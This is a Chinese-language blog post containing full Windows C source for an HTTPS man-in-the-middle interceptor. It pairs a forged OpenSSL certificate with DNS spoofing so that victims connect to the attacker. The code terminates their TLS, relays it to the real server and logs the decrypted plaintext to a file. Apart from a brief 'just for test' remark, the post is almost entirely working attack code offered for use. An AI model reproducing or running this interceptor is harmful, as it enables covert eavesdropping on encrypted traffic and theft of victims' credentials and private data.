HTTPS中间人攻击

    技术2022-05-11  80

    by 云舒 一段测试性质的代码,自己做一个伪造的证书,然后使用DNS SPOOF 引导被攻击者访问攻击者机器,攻击者作为中间人记录明文的数据传输。附件里面是我测试时使用的伪造的证书,使用OPENSSL生成的。 代码: #include <stdio.h> #include <winsock2.h> #include <openssl/ssl.h> #include <openssl/err.h> #pragma comment ( lib, "libeay32.lib" ) #pragma comment ( lib, "ssleay32.lib" ) #pragma comment ( lib, "ws2_32.lib" ) #define    PRIVATE_KEY_PWD        "1234" #define    CERT_FILE            "yunshu.crt" #define    KEY_FILE            "yunshu.key" #define    MAX_USER            10 #define    LISTEN_PORT            443 #define    TIME_OUT            1000000    // 1秒 #define    DEBUG #ifdef DEBUG     #define    LOG_FILE            "c:/https.txt"     // 记录数据到文件     void    Log_File( char *str ); #endif // 目的主机 char            target_host[20] = { 0 }; unsigned int    target_port = 0; // 输出SSL错误函数 void    SSL_Error( char *custom_string ); // 初始化SSL库作为服务端 SSL        *Server_SSL_Init( ); // 初始化SSL库作为客户端 SSL        *Client_SSL_Init( ); // 初始化Socket作为服务端 SOCKET    Server_Socket_Init( ); // 初始化Socket作为客户端 SOCKET    Client_Socket_Init( ); // 处理客户端函数 void    WINAPI    FowardPacket( LPVOID argument ); // 程序入口,主函数 int main( int argc, char *argv[] ) {     if( argc != 3 )     {         printf( "Usage: %s   <target_host>   <target_port>/n", argv[0] );         printf( "Code by 云舒,just for test!/n" );         return -1;     }     SOCKET    server_sock = Server_Socket_Init( );     if( INVALID_SOCKET == server_sock )     {         return -1;     }          // 加载加密算法库     SSL_library_init( );     // 加载错误信息库     SSL_load_error_strings( );     // 开始接受连接     SOCKET            client_sock;        // 来自被攻击者的socket     SOCKADDR_IN        client_sin;     int                sin_len = sizeof(SOCKADDR_IN);     target_port = atoi( argv[2] );     struct hostent *phost = gethostbyname( argv[1] );     if( phost == NULL )     {         printf( "Resolve %s error!/n" , argv[1] );         return -1;     }     memset( (void *)&client_sin, 0, sizeof(SOCKADDR_IN) );     memcpy( &client_sin.sin_addr , phost->h_addr_list[0] , phost->h_length );     strcpy( target_host, inet_ntoa( client_sin.sin_addr ) );     printf( "Target host is %s(%s), port is %d/n", target_host, argv[1], target_port );     memset( (void *)&client_sin, 0, sizeof(SOCKADDR_IN) );     while( TRUE )     {         client_sock = accept( server_sock, (struct sockaddr *)&client_sin, &sin_len );         printf( "connect from %s/n", inet_ntoa( client_sin.sin_addr ) );                  if( SOCKET_ERROR == client_sock )         {             printf( "accept error./n" );             continue;         }         HANDLE    h_thread;         DWORD    thread_id = 0;         h_thread = CreateThread( NULL, 0, (LPTHREAD_START_ROUTINE)FowardPacket, (LPVOID)&client_sock, 0, &thread_id );         if( NULL == h_thread )         {             printf( "create thread error./n" );         }         CloseHandle( h_thread );     }     closesocket( server_sock );         WSACleanup( );     return 0; } void WINAPI FowardPacket( LPVOID argument ) {     char    buffer[2048] = { 0 };     // 生成SSL,作为服务端,响应被攻击者的请求     SSL    *server_ssl = Server_SSL_Init( );     if( NULL == server_ssl )     {         return;     }     printf( "Init ssl as server success!/n" );     // 生成SSL,作为客户端,向真实主机发起请求     SSL    *client_ssl = Client_SSL_Init( );     if( NULL == client_ssl )     {         return;     }     printf( "Init ssl as client success!/n" );     // 作为服务端端的socket,响应被攻击者的请求     SOCKET    server_sock = (SOCKET)(*(SOCKET *)argument);     // 绑定ssl和socket,此处作为被攻击者的服务器     SSL_set_fd( server_ssl, server_sock );     int ret = SSL_accept( server_ssl );     if( -1 == ret )     {         SSL_Error( "SSL_accept error" );         return;     }     // 作为客户端的socket,向真实主机发起请求     SOCKET    client_sock = Client_Socket_Init( );     if( INVALID_SOCKET == client_sock )     {         return;     }          SSL_set_fd( client_ssl, client_sock );     ret = SSL_connect( client_ssl );     if( -1 == ret )     {         SSL_Error( "SSL_connect error" );         return;     }     fd_set    fd_read;     timeval    time_out;     while( TRUE )     {         time_out.tv_sec = 0;         time_out.tv_usec = TIME_OUT;         FD_ZERO( &fd_read );         FD_SET( server_sock, &fd_read );         FD_SET( client_sock, &fd_read );         ret = select( 0, &fd_read, NULL, NULL, &time_out );         if( SOCKET_ERROR == ret )         {             printf( "socket error: %d/n", GetLastError() );             break;         }         else if( 0 == ret )         {             continue;         }         else         {             if( FD_ISSET( server_sock, &fd_read ) )             {                 memset( (void *)buffer, 0, sizeof(buffer) );                 ret = SSL_read( server_ssl, buffer, sizeof(buffer) );                 if( ret > 0 )                 {                     ret = SSL_write( client_ssl, buffer, strlen(buffer) );                     if( strlen(buffer) != ret )                     {                         SSL_Error( "Send data to real server error" );                     }                     else                     {                         printf( "send %d bytes to real server/n", ret );                                                  #ifdef DEBUG                             Log_File( buffer );                         #endif                     }                 }             }             else if( FD_ISSET( client_sock, &fd_read ) )             {                 memset( (void *)buffer, 0, sizeof(buffer) );                 ret = SSL_read( client_ssl, buffer, sizeof(buffer) );                 if( ret > 0 )                 {                     //printf( "RESPONSE:/n/t%s/n", buffer );                     ret = SSL_write( server_ssl, buffer, strlen(buffer) );                     if( strlen(buffer) != ret )                     {                         SSL_Error( "Send data to customer error" );                     }                     else                     {                         printf( "send %d bytes to customer's host/n", ret );                                                  #ifdef DEBUG                             Log_File( buffer );                         #endif                     }                 }             }         }     }          SSL_shutdown( server_ssl );     SSL_shutdown( client_ssl );     SSL_free( server_ssl );     SSL_free( client_ssl );     closesocket( server_sock );     closesocket( client_sock );     return; } void SSL_Error( char *custom_string ) {     char    error_buffer[256] = { 0 };          printf( "%s, ", custom_string );     ERR_error_string( ERR_get_error(), error_buffer );     printf( "%s/n", error_buffer ); } SSL    *Server_SSL_Init( ) {     // 加载SSL环境     SSL_CTX    *server_ctx = SSL_CTX_new( SSLv23_server_method() );     if( NULL == server_ctx )     {         SSL_Error( "Init ssl ctx error" );         return NULL;     }     // 设置证书文件的口令     SSL_CTX_set_default_passwd_cb_userdata( server_ctx, PRIVATE_KEY_PWD );     // 加载证书     if( SSL_CTX_use_certificate_file( server_ctx, CERT_FILE, SSL_FILETYPE_PEM ) <= 0 )     {         SSL_Error( "Load cert file error" );         return NULL;     }     // 加载私钥     if( SSL_CTX_use_PrivateKey_file( server_ctx, KEY_FILE, SSL_FILETYPE_PEM ) <= 0 )     {         SSL_Error( "Load cert file error" );         return NULL;     }     // 检查私钥和证书是否匹配     if( !SSL_CTX_check_private_key( server_ctx ) )     {         printf( "Private key does not match the certificate public key/n" );         return NULL;     }     SSL    *ssl = SSL_new (server_ctx);     if( NULL == ssl )     {         SSL_Error( "Create ssl error" );         return NULL;     }     return ssl; } SSL    *Client_SSL_Init( ) {     SSL_CTX    *client_ctx;     client_ctx = SSL_CTX_new( SSLv23_client_method() );     if( NULL == client_ctx )     {         SSL_Error( "Init ssl ctx error" );         return NULL;     }     SSL    *ssl = SSL_new (client_ctx);     if( NULL == ssl )     {         SSL_Error( "Create ssl error" );         return NULL;     }     return ssl; } SOCKET    Server_Socket_Init( ) {     WSADATA        wsa;     WSAStartup( 0x0202, &wsa );          SOCKET    sock = socket( AF_INET, SOCK_STREAM, 0 );     if( INVALID_SOCKET == sock )     {         printf( "Create socket as a server error" );         return INVALID_SOCKET;     }     SOCKADDR_IN    server_sin;     memset( (void *)&server_sin, 0, sizeof(SOCKADDR_IN) );     server_sin.sin_family = AF_INET;     server_sin.sin_addr.S_un.S_addr = INADDR_ANY;     server_sin.sin_port = htons( 443 );     int    ret = bind( sock, (struct sockaddr *)&server_sin, sizeof(SOCKADDR_IN) );     if( SOCKET_ERROR == ret )     {         printf( "bind error: %d/n", GetLastError() );         return INVALID_SOCKET;     }     ret = listen( sock, MAX_USER );     if( SOCKET_ERROR == ret )     {         printf( "listen error./n" );         return INVALID_SOCKET;     }     printf( "Listening on all local ip address, waiting for connect.../n" );     return sock; } SOCKET    Client_Socket_Init( ) {     SOCKET    client_sock = socket( AF_INET, SOCK_STREAM, 0 );     if( INVALID_SOCKET == client_sock )     {         printf( "create socket as a client error./n" );         return -1;     }          SOCKADDR_IN        client_sin;     memset( (void *)&client_sin, 0, sizeof(SOCKADDR_IN) );     client_sin.sin_family = AF_INET;     client_sin.sin_addr.S_un.S_addr = inet_addr( target_host );     client_sin.sin_port = htons( target_port );     int ret = connect( client_sock, (struct sockaddr *)&client_sin, sizeof(SOCKADDR_IN) );     if( SOCKET_ERROR == ret )     {         printf( "connect to real server %s error", target_host );         return INVALID_SOCKET;     }     printf( "connect to real server success!/n" );     return client_sock; } #ifdef    DEBUG void    Log_File( char * str ) {     FILE    *fp = fopen( LOG_FILE, "w+" );     if( NULL == fp )     {         return;     }     fputs( str, fp );          fclose( fp ); } #endif  

    最新回复(0)